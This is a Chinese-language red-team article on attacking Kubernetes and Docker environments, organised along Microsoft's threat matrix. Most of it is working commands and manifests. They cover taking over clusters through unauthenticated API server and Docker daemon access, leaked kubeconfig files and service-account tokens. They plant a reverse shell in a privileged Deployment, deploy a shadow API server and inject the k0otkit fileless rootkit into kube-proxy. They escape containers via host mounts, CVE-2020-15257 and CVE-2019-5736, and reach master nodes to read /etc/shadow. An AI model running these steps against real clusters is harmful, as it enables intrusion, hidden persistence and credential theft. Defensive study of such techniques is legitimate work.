随着越来越多企业开始上云的步伐，在攻防演练中常常碰到云相关的场景，例如：公有云、私有云、混合云、虚拟化集群等。以往渗透路径是「外网突破 -> 提权 -> 权限维持 -> 信息收集 -> 横向移动 -> 循环收集信息」，直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局，也打开了新的入侵路径，例如：
l通过虚拟机攻击云管理平台，利用管理平台控制所有机器
l通过容器进行逃逸，从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
l利用KVM-QEMU/执行逃逸获取宿主机，进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多，仅有一些厂商发布过相关矩阵技术，但没有过多的细节展示，本文基于微软发布的Kubernetes威胁矩阵进行扩展，介绍相关的具体攻击方法。
红色标志是攻击者最为关注的技术点。
初始访问
lAPI Server未授权访问
lkubelet未授权访问
lDocker Daemon 公网暴露
lK8s configfile 泄露
API Server未授权访问
API Server作为K8s集群的管理入口，通常使用 8080 和 6443 端口，其中 8080 端口无需认证，6443 端口需要认证且有TLS 保护。如果开发者使用 8080 端口，并将其暴露在公网上，攻击者就可以通过该端口的API，直接对集群下发指令。
另一种场景是运维人员配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
#创建特权容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
#执行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami
创建特权容器详细解释：
创建特权容器
K8s configfile 泄露
K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息（API Server、登录凭证）。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github 的代码等)，就可以直接通过 API Server 接管 K8s 集群，带来风险隐患。
用户凭证保存在 kubeconfig 文件中，kubectl 通过以下顺序来找到 kubeconfig 文件：
1. 如果提供了--kubeconfig参数，就使用提供的 kubeconfig 文件。
2. 如果没有提供--kubeconfig 参数，但设置了环境变量 $KUBECONFIG，则使用该环境变量提供的 kubeconfig 文件。
3. 如果以上两种情况都没有，kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。
拿到K8s configfile完整利用流程：
K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项，需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
#进入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true
#切换bash，逃逸成功
cd /host
chroot ./ bash
Docker Daemon 公网暴露
Docker以C/S模式工作，其中docker daemon服务在后台运行，负责管理容器的创建、运行和停止操作。
在Linux主机上，docker daemon监听在/var/run/docker.sock中创建的unix socket，2375端口用于未认证的HTTP通信，2376用于可信HTTPS通信。
在最初版本安装Docker时默认会把2375端口对外开放，目前默认只允许本地访问。
管理员开启远程访问的配置如下：
#开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock
Docker Daemon未授权访问的检测与利用：
#探测是否访问未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info
#推荐使用这种方式，操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375"
Docker Daemon未授权实战案例：
执行
l利用Service Account
nCURL方式请求
nkubectl方式请求
利用Service Account
K8s集群创建的Pod中，容器内部默认携带K8s Service Account的认证凭据，路径为：(/run/secrets/kubernetes.io/serviceaccount/token)
如运维配置不当没有设置RBAC（基于角色的访问控制）,那么攻击者就可以通过Pod获取到Token进行API Server认证。
在较低版本v1.15.11中,Kubernetes默认是不会开启RBAC控制，从1.16版本起，默认启用RBAC访问控制策略。从1.18开始，RBAC已作为稳定的功能。
下面就是利用Pod中的Token访问API Server的一种场景：
#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
#写入yaml,创建特权Pod
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
#创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
#查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/default/pods/nginx
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true
持久化
lDaemonSets、Deployments
lShadow API
lRootkit
lcronjob持久化
Deployment
创建容器时，通过启用DaemonSets、Deployments，可以使容器和子容器即使被清理掉了也可以恢复，攻击者经常利用这个特性进行持久化，涉及的概念有：
l ReplicationController（RC）
ReplicationController确保在任何时候都有特定数量的 Pod 副本处于运行状态。
l Replication Set（RS）
Replication Set简称RS，官方已经推荐我们使用RS和Deployment来代替RC了，实际上RS和RC的功能基本一致，目前唯一的一个区别就是RC只支持基于等式的selector
l Deployment
主要职责和RC一样，的都是保证Pod的数量和健康，二者大部分功能都是完全一致的，可以看成是一个升级版的RC控制器
官方组件kube-dns、kube-proxy也都是使用的Deployment来管理
这里使用Deployment来部署后门
#dep.yaml
apiVersion: apps/v1
kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3 #指定Pod副本数量
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"] #反弹Shell
args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
securityContext:
privileged: true #特权模式
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
#创建
kubectl create -f dep.yaml
Shadow API Server
如果部署了一个shadow api server，那么该api server具有和集群中现在的api server一致的功能。同时开启了全部k8s权限，接受匿名请求且不保存审计日志，这将方便攻击者无痕迹的管理整个集群以及进行后续渗透行动。
Shadow API Server的配置与利用：
配置文件路径：
/etc/systemd/system/kube-apiserver-test.service
#一键部署Shadow apiserver
./cdk run k8s-shadow-apiserver default
#一键部署将在配置文件中添加了如下选项：
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
#kcurl访问与利用
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
Rootkit
这里介绍一个k8s的rootkit，k0otkit 是一种通用的后渗透技术，可用于对 Kubernetes 集群的渗透。使用 k0otkit，您可以以快速、隐蔽和连续的方式（反向 shell）操作目标 Kubernetes 集群中的所有节点。
K0otkit使用到的技术：
lDaemonSet和Secret资源（快速持续反弹、资源分离）
lkube-proxy镜像（就地取材）
l动态容器注入（高隐蔽性）
lMeterpreter（流量加密）
l无文件攻击（高隐蔽性）
#生成k0otkit
./pre_exp.sh
#监听
./handle_multi_reverse_shell.sh
k0otkit.sh的内容复制到master执行：
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl --kubeconfig /root/.kube/config replace -f -
cronjob持久化
CronJob 用于执行周期性的动作，例如备份、报告生成等，攻击者可以利用此功能持久化。
apiVersion: batch/v1
kind: CronJob #使用CronJob对象
metadata:
name: hello
spec:
schedule: "*/1 * * * *" #每分钟执行一次
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- #反弹Shell或者木马
restartPolicy: OnFailure
权限提升
l特权容器逃逸
lDocker漏洞
lLinux Capabilities逃逸
特权容器逃逸
当容器启动加上--privileged选项时，容器可以访问宿主机上所有设备。
而K8s配置文件启用了privileged: true:
spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true
实战案例：
通过漏洞获取WebShell，查看根目录存在.dockerenv，可通过fdisk -l查看磁盘目录，进行挂载目录逃逸:
#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
Docker漏洞
这里介绍两个知名的docker逃逸漏洞。
CVE-2020-15257
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本，使用了--host网络模式，会造成containerd-shim API暴露，通过调用API功能实现逃逸。
Host模式特点：
l共享宿主机网络
l网络性能无损耗
l各容器网络无隔离
l网络资源无法分别统计
l端口管理困难
l不支持端口映射
#判断是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'
#反弹宿主机的shell到远端服务器
./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455
CVE-2019-5736
当runc动态编译时，会从容器镜像中载入动态链接库，导致加载恶意动态库；当打开/prco/self/exe即runc时，会执行恶意动态链接库中的恶意程序，由于恶意程序继承runc打开的文件句柄，可以通过该文件句柄替换host上的runc。
此后，再次执行runc相关的命令，则会产生逃逸。
版本漏洞：
docker version <=18.09.2
RunC version <=1.0-rc6
利用过程：
#下载POC
https://github.com/Frichetten/CVE-2019-5736-PoC
#编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
利用成功是将/etc/shadow文件复制到/tmp/目录下
#将编译的main复制到docker容器中，实战是用WebShell上传
docker cp main name:/home
cd /home/
chmod 777 main
./main
#此时等管理员进入容器将触发：
或将第16行改为反弹Shell，获得宿主机权限。
Capabilities
Capabilities是Linux一种安全机制，是在Linux内核2.2之后引入的，主要作用是权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。
目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities，再以白名单方式赋予容器运行所需的最小权限。
#查看Capabilities
cat /proc/self/status | grep CapEff
capsh --print
Capabilities允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等
lcap_sys_ptrace-container
lcap_sys_admin-container
lcap_dac_read_search-container
实际场景不多，逃逸方法参考挂载目录方式。
探测
l 内网扫描
l K8s常用端口探测
l 集群内部网络
集群内网扫描
Kubernetes的网络中存在4种主要类型的通信
n同一Pod内的容器间通信
n各Pod彼此间通信
nPod与Service间的通信
n集群外部的流量与Service间的通信。
所以和常规内网渗透无区别，nmap、masscan等扫描
K8s常用端口探测
集群内部网络
lFlannel网络插件默认使用10.244.0.0/16网络
lCalico默认使用192.168.0.0/16网络
横向移动
l污点(Taint)横向渗透
污点(Taint)横向渗透
污点是K8s高级调度的特性，用于限制哪些Pod可以被调度到某一个节点。一般主节点包含一个污点，这个污点是阻止Pod调度到主节点上面，除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是系统级别的Pod，例如kube-system
—个pod只有容忍了节点的污点，才能被调度到该节点上面
#Node中查看节点信息
[[email protected] ~]# kubectl get nodes
NAME STATUS ROLES AGE VERSION
192.168.238.129 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.130 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.131 Ready node 30d v1.21.0
192.168.238.132 Ready node 30d v1.21.0
#确认Master节点的容忍度
[[email protected] ~]# kubectl describe nodes 192.168.238.130
Name: 192.168.238.130
Roles: master
Labels: beta.kubernetes.io/arch=amd64
beta.kubernetes.io/os=linux
kubernetes.io/arch=amd64
kubernetes.io/hostname=192.168.238.130
kubernetes.io/os=linux
kubernetes.io/role=master
Annotations: flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
flannel.alpha.coreos.com/backend-type: vxlan
flannel.alpha.coreos.com/kube-subnet-manager: true
flannel.alpha.coreos.com/public-ip: 192.168.238.130
node.alpha.kubernetes.io/ttl: 0
volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp: Tue, 14 Sep 2021 17:41:30 +0800
Taints: node.kubernetes.io/unschedulable:NoSchedule
#创建带有容忍参数的Pod
kubectl create -f control-master.yaml
#control-master.yaml内容：
apiVersion: v1
kind: Pod
metadata:
name: control-master-15
spec:
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: control-master-15
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory
#获得Master控制端
kubectl exec control-master-15 -it bash
chroot /master bash
cat /etc/shadow
结论
Ø目前黑产团伙通过批量扫描然后利用未授权进行挖矿。
Ø当前攻防技术处于初级阶段，但随着云原生攻击武器的发展，攻击门槛也会相应降低。
Ø虚拟机/容器逃逸攻击、供应链攻击等新型技术攻击方式，将会呈现出快速增长的趋势，此类攻击难度很高，带来的危害和影响也很大。
Ø私有云部署在企业业务生产网，云的底座网络、物理设备与业务网络在同一安全域，大多时候缺乏有效隔离。
Ø私有云产品属于定制开发，使用大量第三方组件，会随着时间和安全研究人员的研究而暴露。
参考链接：
1. Team*** Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like Attack
2. Threat matrix for Kubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
3. Kubernetes Attack Surface
https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface
4. Attack methods and defenses on Kubernetes
https://dione.lib.unipi.gr/xmlui/handle/unipi/12888
5. k0otkit
https://github.com/Metarget/k0otkit
6. CVE-2019-5736-Poc
https://github.com/Frichetten/CVE-2019-5736-PoC
7. 修复Docker操作系统命令注入漏洞公告（CVE-2019-5736）
https://support.huaweicloud.com/bulletin-cce/cce_bulletin_0015.html
本文作者：Further_eye
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